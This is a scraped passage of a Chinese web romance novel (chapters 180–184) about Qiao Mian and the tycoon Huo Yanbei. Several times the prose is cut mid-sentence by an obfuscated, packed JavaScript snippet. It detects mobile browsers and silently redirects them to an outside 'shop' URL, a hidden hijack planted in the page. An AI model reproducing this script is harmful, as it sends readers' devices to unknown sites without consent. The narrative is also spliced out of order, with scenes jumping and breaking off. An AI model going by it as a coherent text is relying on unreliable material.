“呃……” 乔眠回过神来,接过手帕,低头擦拭着被染了颜色的裤子。 周津南这才注意到身侧站着一个人。 看清楚来人是谁时,脸色微微一变。 周津南匆匆瞥了一眼乔眠,想装不认识的,但是,霍宴北已经念出他的名字:“周津南。” 周津南薄唇轻扯:“这么多年过去了,没想到霍先生还记得我这个无名小卒,真是荣幸。” 乔眠听到两人对话,抬起头来,目光在两人之间转换。 记忆中,这俩人没有任何交集,什么时候认识的? 霍宴北垂眸,目光落在乔眠白净漂亮的脸上,问周津南:“周先生和她认识很久了?” “……” 乔眠瞳孔微震。 裤缝在指间攥出折痕。 她慌忙错开男人的盯视,看了一眼周津南。 周津南心领神会,起身道:“乔眠是我的朋友,霍先生也认识她?” 霍宴北深深地盯着周津南数秒后,再次看向乔眠,“你说呢?” 乔眠张了张嘴,想说话,却说不出来。 她再次失声了。 “听不到,还是听不懂?” 霍宴北说出这句话的同时,戏谑地眼神盯着乔眠,用手语翻译了一遍。 乔眠呼吸一滞。 慌忙起身,看向周津南。 周津南走到她身边,看向霍宴北,“霍先生,抱歉,我和朋友还有事,就先走了。” 说完,绕过霍宴北准备走时,霍宴北将身上的西装外套脱了下来,罩在乔眠身上,淡声道,“遮一下。” 外套还残留着专属于男人的体温,还有那股淡淡的草木香。 熟悉到骨子里的气息,让她心神恍惚。 第180章 决定坦白了 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188552|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第181章 二次鉴定结果 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192686|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经**。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕**,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第182章 远离他,才能得到治愈 乔眠本来挺困的,听他这么说,立马坐起身来,“你回去吧,我的孩子,我自己接。” 好一会儿没等到他反应,注意到他直盯盯的目光落在她身上时,乔眠垂眸一看,急忙拉上被子,挡住泄露的春光,红着脸轻吼了他一声,“你……你先出去!” 霍宴北见她娇羞惊慌的小模样,几不可察的勾了一下唇角,转身出了卧室。 乔眠穿好衣服,来到客厅时,霍宴北正坐在客厅里低头看手机。 很专注的样子,应该在处理工作上的事情。 看时间还早,她坐在沙发另一端,从公文包里取出关于乔安的案卷资料。 还有一份,昨天下午探视乔安时,记录下来的一些口述信息。 想到昨天困坐于铁栏后面,精神萎靡不振,瘦骨嶙峋的弱小女人乔安时,乔眠心里涌起一丝同情。 尤其是想起萧明城今天临走之前说的那番话,不禁起了恻隐之心。 或许是占用了乔眠这个身份的愧疚和歉意,又或许同情乔安的遭遇,她不再有退出这个案子的想法了。 “在忙?” 头顶传来一道富有磁性的微沉嗓音,乔眠一抬头,就撞进男人那双深如古井般的眼眸中。 此时,霍宴北不知何时坐在了她身旁,目光落在她手里的案卷资料上。 当瞥见‘乔安’这个名字时,略微蹙了一下眉。 “乔安这个名字,跟你的名字很像。” 他抬眸,瞅了她一眼。 乔眠表情不太自然的将文件收起来, “没什么稀奇的,重名重姓的**有人在。” “看来,你还是决定接这个案子?” 霍宴北修长的手指摩挲着腕骨上的核桃红绳手串,眼底搅弄着一丝不易察觉的复杂情绪。 “嗯。” 乔眠没有否认。 “你想怎么做就怎么做,我不干涉你。” “真的?” “比真金还金。” 男人宠溺的抚了抚她的脑袋,“你高兴就好。” 乔眠静静地看着他,没有说话。 只觉得他好像变了。 对她的态度也变了。 以前,他总是以自己的意志为转移,对她很霸道,还动不动威胁,完全不考虑对方的感受。 现在的他,好像有些刻意迁就、包容她。 还很温柔。 这让乔眠有一种无所适从的感觉。 “走吧,到点了,接孩子吧。” 霍宴北拉着她起身,朝门口走去,乔眠冷不丁冒出一句话,“你……不用去幼儿园接你的女儿吗?” 霍宴北大概没有想到她会突然冒出这个问题,一想淡然沉稳的表情,有一丝不然的波动。 他微启薄唇,似乎要对她说什么,但很快,表情就恢复如常。 沉默几秒后,他淡声回了一句,“有时也会去接。” “哦……” 乔眠微垂眉眼,没再继续这个话题。 但她明显感觉到,他对女儿这个话题是有些敏感的。 连她自己都觉得刚才的问题有些不妥。 之后,两人没有任何交谈,出门来到幼儿园,没等一会儿就接到了孩子们。 “妈妈,我都想你了……” 乔慕心撒娇的抱着她的腿,“霍叔叔说以后不会让妈妈加班了,这样妈妈就不会忙的回不了家了。” 说罢,探着小脑袋看向霍宴北,“是不是呀?霍叔叔。” “是,霍叔叔保证。” 霍宴北弯腰,将乔慕心举起来抱在怀里,而后招呼一人一只拉着乔眠的手的乔慕城和乔慕野上车。 “妈妈,你累不累呀?” 上车后,乔慕城关心的询问。 乔慕野一直盯着她额头上的纱布,“妈妈,你受伤了吗?” “妈妈,痛不痛?” 乔慕心伸着小指头摸了摸,糯叽叽的问。 乔眠莞尔,轻轻摇了摇头,“下雪路滑,妈妈不小心摔了一下,现在已经不疼了。” 听着后车座的乔眠和孩子们之间温馨互动的一幕。 霍宴北的心也跟着暖洋洋的。 但旋即又禁不住想起之前做的那份亲子鉴定。 结果显示孩子们和他没有任何关系。 不禁想起那些无数个沉溺在这种熟悉的气息中,耳鬓厮磨的夜里。 她低着头,攥紧外套,逃一般走出了餐厅。 霍宴北望着消失在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192687|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线里的一对男女,胸腔里泛起一抹异样的情绪。 让他有些不舒服的咳嗽了两声。 咳得肺腑生疼。 顾淮年扶住他:“你认识那个男人?” 霍宴北冷笑:“认识。” 今日场景,一如那年夏天,他买了生日礼物,去学校找霍妩。 却在食堂里,看到她跟一个男生坐在一起吃饭的情景。 那人便是周津南。 当时,他很生气,扔了生日礼物…… 只是—— 周津南当年认识霍妩,现在又跟他,同时认识乔眠。 这么巧吗? 而且,乔眠明明刚才还和周津南聊的热乎,见了他,又不说话了。 她是在故意回避他? 霍宴北头疼的按了按眉心。 顾淮年啧了一声,“你好像很关注那个小护工?” 男人没理他。 顾淮年:“你今天刚退烧就出来,可别再又严重了,等下跟我一起回医院……” 霍宴北吩咐跟在一旁的陈珂,“今天就办出院。” 说完,抬步离开了。 顾淮年跟出餐厅:“我靠,你满打满算就在医院住了五天,病还没好利索呢!” 回应他的是砰一声,车门关闭的声音。 陈珂颔首道,“顾少,二爷的性子您了解,怕是咱们都劝不动,之后,二爷若是再反复高烧的话,请您跑一趟帝澜别墅吧。” “行!欠他的!” 顾淮年无奈的叹了一口气。 …… 周津南看不懂手语,所以,乔眠用手机记事本编辑文字,问他,【你认识霍宴北?】 “你还真是一看到霍宴北就失声了。” 周津南怜悯的眼神看向乔眠,“我跟他见过一面。” 至于和霍宴北有过怎样的纠葛,他没说。 乔眠也没问。 “放心,他没认出你。” 周津南说。 乔眠点了下头。 他明明在医院。 他那病,少说也得半个月才能出院。 想到这里,她使劲掐了掐手心。 提醒自己,不要再去想任何与霍宴北相关的事情。 远离他,她的心,才会得到治愈。 第183章 拒绝 周津南提出要送她,她婉拒了。 不顺路。 就是给别人填麻烦。 她不喜欢欠人情。 还要还。 她很穷,也很忙。 没有太多精力维护人际关系。 不过,周津南没有强求。 这些年,她的性子变了许多。 对谁都是温温婉婉的,好像没有脾气,却总是给人一种距离感。 边界感更是清清楚楚。 周津南望着女人小跑追着即将到站的一辆公交车时,眸底藏着的情愫一点点蔓延开来。 周津南点了一支烟咬进嘴里,望着乔眠挤上公交车后,不禁在想,如果当年的他,再勇敢一些,或许他心目中的乔安,就只是乔安。 不是什么霍妩,更不是现在过得艰辛的乔眠…… …… 乔眠回家后,将霍宴北的西装外套挂在了衣柜里。 今天在餐厅遇到他,想必他已经出院了。 下次有机会再还给他…… 想到这里,她摇了摇头。 没有下次。 罢了。 这么贵的衣服丢了可惜。 先放在衣柜里吧。 就当……镇宅。 她是晚上躺在床上时,看到手机里跳出来一条银行卡到账的提示信息。 入账100000! 她吓了一跳。 想了一圈身边认识的人,也没想到谁会无缘无故的给她转账十万块钱。 更没往某个人身上想。 肯定是别人转错了。 第二天,她去银行柜台查询这笔钱的来向。 根据银行柜员提供的转账明细信息,是一个叫**的女人转给她的。 她不认识这个女人。 “不好意思,我不认识给我转这笔钱的人,麻烦将这笔钱退回。” 柜员:“退回大额资金,需要对方进行确认,我这边暂时联系不上她,要不,你再想想,是不是你忘记谁给你转钱了?” 乔眠:“那我报警处理吧。” 此时,正在开车的陈珂,接了一通电话后,先是诧异了一下,压着声音回道,“知道了。” 挂断电话后,坐在后排座闭目养神的男人缓缓睁开眼睛。 陈珂透过后视镜,恭敬的看着男人汇报,“二爷,那个小护工把钱退回了,我还是用我家小妹的账号转的这笔钱,她居然还……” “怎么?” “她报警了,说是来源不明,怀疑非法资金。” 霍宴北:“……” 陈珂抓了抓额头,嘟哝了一句:“还没见过给钱不要的人。” 以前,二爷资助的那些女孩,哪一个不是拿到钱后,千恩万谢欢天喜地的? 这个小护工,真是另类。 霍宴北胸口发闷:“随她。” 【雾色】是三个月前新开的酒吧。 规模很大。 一共五层。 背靠霍家,豪门富少千金,明星和名流网红都纷纷站台打卡。 开业至今,一跃成为京市最火的网红酒吧。 今晚来了一位著名歌手捧场,一楼舞池,人多的堪比一场大型演唱会。 乔眠从后门员工通道入场。 走进换衣室,看见里面站着一排年轻漂亮的女孩。 有兼职大学生,还有脸熟的小网红和平面嫩模。 各有才艺。 专门陪身份贵重的客人的高阶公关。 “人家月薪好几万呐。” 温娜走过来,搂住她的肩膀:“小乔,你要想去的话,我可以跟经理说。” “不了。” 乔眠摇头。 “就知道你会拒绝。” 温娜把她推到衣柜前,“快换衣服吧,其他姐妹儿都已经开始忙了。” “嗯。” 乔眠换上那套CJ制服装,站在落地镜前调整假发。 温娜看着镜子,打量她,“你说你,明明长了一张漂亮脸蛋,非得把自己搞这么丑。” “酒吧可是名利场下的小后宫,拼的是脸蛋和身材,要是傍上个明星阔少,改命嫁豪门不是梦。” 温娜说着,扭腰摆臀,“你看我,奔三了,该露还是露。” “……” 乔眠凝视着温娜。 一头大波浪,穿着一件玫红色紧身包臀抹胸裙。 胸口的波涛,快要把那层薄透的纱撑爆了。 后背开叉到腰窝。 一截白皙翘臀若隐若现。 裙摆堪堪遮住大腿根。 美艳似火,风情万种。 相比之下,自己的装扮,平庸又艳俗。 但是,扮丑,是为了降低被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197365|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人骚扰纠缠的风险。 这个道理,她在高中时,就深有体会。 “娜姐,我挣点小钱就行。” 乔眠将过短的百褶裙往下拽了拽,说道。 “唉,白瞎你这张脸了。” 温娜在她腰上捏了一把,“先去三楼包厢809送酒,客人订好的。” “好。” 乔眠去酒库领完酒,推着酒车,乘坐电梯去了三楼。 三楼是VIP区。 809是顶奢包厢。 里面的人非富即贵。 都不是好伺候的。 乔眠站在门口,深吸一口气后,推着酒车走进去。 包厢内,灯红酒绿,烟酒味刺鼻。 五六个年轻男人围坐在一起打扑克,玩拼酒游戏。 身边坐着几个衣着性感的美女。 露骨调情的声音,听得乔眠脸红。 她默不作声地将一瓶红酒放在茶几上。 “呦,新来的?” 头顶传来一道轻佻的声音。 乔眠局促的点头。 “把酒起开。” “是。” 她动作熟练的用开酒器将红酒打开,又听到一声吩咐,“这些酒杯都倒满。” “是。” 茶几上摆着六只高脚杯,她单膝跪在地上,小心翼翼的将酒杯填满。 哪怕起身,亦是低着脑袋。 全程机械式服务。 存在感很低。 但还是惹来一句调侃。 “小姑娘身材不错,多大?” 乔眠拘谨站姿,低声回了一句:“二十六岁。” “我问的不是年龄多大。” 那人盯着她的胸口,调笑。 其他人起哄:“想知道,你倒是扒开看啊。” “滚,我可是绅士手,扒也得姑娘亲自扒才刺激。” “哈哈!” 听着这些恶俗的狎逗,乔眠装作没听懂。 但有时候沉默,却更容易挑起那些人逆反的捉弄心理。 “姑娘,你这年龄,可不是嫩的能掐出水的小樱桃了。” “抬起小脸给爷瞧瞧,看看是不是熟透了?” 戏谑的笑声持续。 乔眠蹙眉:“抱歉,我只是一个兼职小招待,手头还有其他工作,那我就不打扰各位了,祝您们玩的尽兴。” 第184章 乔安 …… 那天之后。 霍宴北对即将出来的二次鉴定结果不抱太大希望,但是,心里还是特别期待的。 可是,又怕期待太高,最后得到的结果,不是自己心中所想。 但,有一点,他早已下定了决心。 那就是,即便证明孩子真的和他没有关系,只要阿妩在乎的,他也会同样爱护。 恍惚间,车停在了公寓楼下。 乔眠领着孩子们下车,“霍总,时间不早了,您回去好好休息吧。” 在他想要上楼之前,她先开口拒绝了。 她和他关系已经不清不楚了,生活中,再搅和在一起,尤其是看到他和孩子们相处的越是融洽,她心里压力越大。 还有些惶恐。 她不愿孩子们适应了他的陪伴以后,忽然有一天,再经历一次断舍离。 毕竟,她和霍宴北之间没有任何结果。 短短数秒,她心里想了很多。 霍宴北看得出来,无论他如何靠近她,哪怕已经成了亲密关系,她还是无法对他敞开心扉,甚至有些戒备,他不忍惊扰到她,只得按耐住想要24小时和她黏在一起的心情,开车离开了。 “妈妈,霍叔叔怎么走了?” 乔慕心眼巴巴的望着已经看不见影的劳斯莱斯,声音奶呼呼的问。 乔慕城和乔慕野同样看着她。 那小眼神,好像在说,是她赶走了霍叔叔。 乔眠叹了一口气,只得拿工作搪塞,“霍叔叔还要去工作,他很忙的。” “那霍叔叔明天还会接我们放学吗?” 乔眠心底腾然涌起一丝担忧和焦虑,蹲下身体,揽着三小只,谆谆教导,“忘记妈妈以前说的吗?霍叔叔很忙的,他有属于自己的生活和工作,你们不可以总是黏着他,这样会打扰到他,不礼貌哦,知道吗?” 她语气很轻,很温柔的耐心解释。 孩子们似懂非懂的盯着她,也不知道到底听没听懂,又或者有没有听到心里去。 到家后,她没有做饭,给孩子们点了外卖。 饭后,陪孩子们读了一会儿故事书后,招呼孩子们洗澡,等三小只回到卧室乖乖躺下睡觉后,她回到卧室,倒头就睡着了。 隔天。 她请假了。 去了一趟交警队领车。 前天晚上在高速陷入追尾事故的那辆车,已经被交警拖到了队里。 办理好手续后,她联系了维修店的人,把车拖走维修。 下午回到律所后,第一时间去了蒋主任的办公室。 还没等她开口,蒋主任倒是关切的询问,“乔律师,听说你前天出事故了,人没事吧?” “人没事,就是……” 乔眠朝蒋主任躬身道歉,“撞坏了您的车,真的很抱歉。” “哎呀,车撞了就撞了,重点是你人没事就行。” 蒋主任无所谓的摆了下手后,急忙扶了她的胳膊,“你啊,别把车的事情放在心上,一辆车而已,不打紧。” 乔眠站直身体,对蒋主任对她的格外关照和恭谨态度有些抗拒。 她知道,蒋主任已经把她归为霍宴北的人了。 事实上,她现在确实和霍宴北不清白。 她无以辩驳,可还是不喜欢因着霍宴北的关系,被特殊礼遇。 “蒋主任,一码归一码,我已经把车送去了维修店,修车费我会承担的。” 蒋主任笑着摆手,“你花什么钱啊,车走保险就成。” “撞得很严重,车损都在保险之内吗?” “当然,你把交警出的事故鉴定手续和现场照片发给我,我联系保险公司就行。” “好……” 乔眠回到工位上,把手续资料还有现场照片发给蒋主任后,才松了一口气。 虽然事情解决了,但这件事,总归是因着霍宴北的关系,才没被蒋主任追究。 走神时,就看到身旁的同事一个个探头探脑的。 “哇塞,老板来了啊。” “好帅哦。” “要是老板每天来所里,给咱们饱饱眼福,也算是发福利了。” 听到老板二字,乔眠转身望去。 就看到霍宴北踩着台阶上楼。 蒋主任小心翼翼的陪同在侧。 路过乔眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197366|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的工位时,男人侧目看过来,深邃的眼眸落在她额头上已经拆了纱布,被鬓发挡着,却依旧明显的一块伤痕上,“蒋主任,乔律师因为工作的事情刚遭遇了一场事故,所里就这么**员工吗?” 昨天走之前叮嘱过她,让她在家休息两天再上班。 她倒好,一天没休息就来所里了。 蒋主任见霍宴北脸色稍微有些变了,吓得立马点头道,“是是是,霍总,我这就……” “霍总,蒋主任主动给我批假了,是我坚持要来所里工作的,我的伤……没事了。” 乔眠不想又被特殊照顾,打断蒋主任的话后,直接对霍宴北表明态度。 “乔律师这么勤恳,那随你。” 霍宴北淡声说了一句后,抬步进了办公室。 蒋主任感激的眼神看了一眼乔眠后,忙不迭的跟了进去。 乔眠坐下后,就收到了阮薇发来的微信。 【眠眠,霍宴北的人又去沪城调查你了,怎么办?】 【他要是再查下去,说不定你的身份就漏了。】 乔眠盯着这两条微信良久,不知道该如何回复。 一如现在,她和霍宴北不清不楚的关系。 她找不到妥善处理的办法。 阮薇见她一直没有回复,又发了一条,【明天周六,我回京市,带你和孩子离开吧?】 乔眠有些苦笑的弯了一下唇,【去哪儿?】 【我跟我妈都说好了,无论你想去哪儿,我都陪着你。】 乔眠沉默片刻后,回了一句,【明天我带孩子们回一趟沪城,见面再聊。】 除了霍宴北紧盯她不放,还有萧明城。 她需要回沪城见见阮院长,问清楚关于乔眠的旧事。 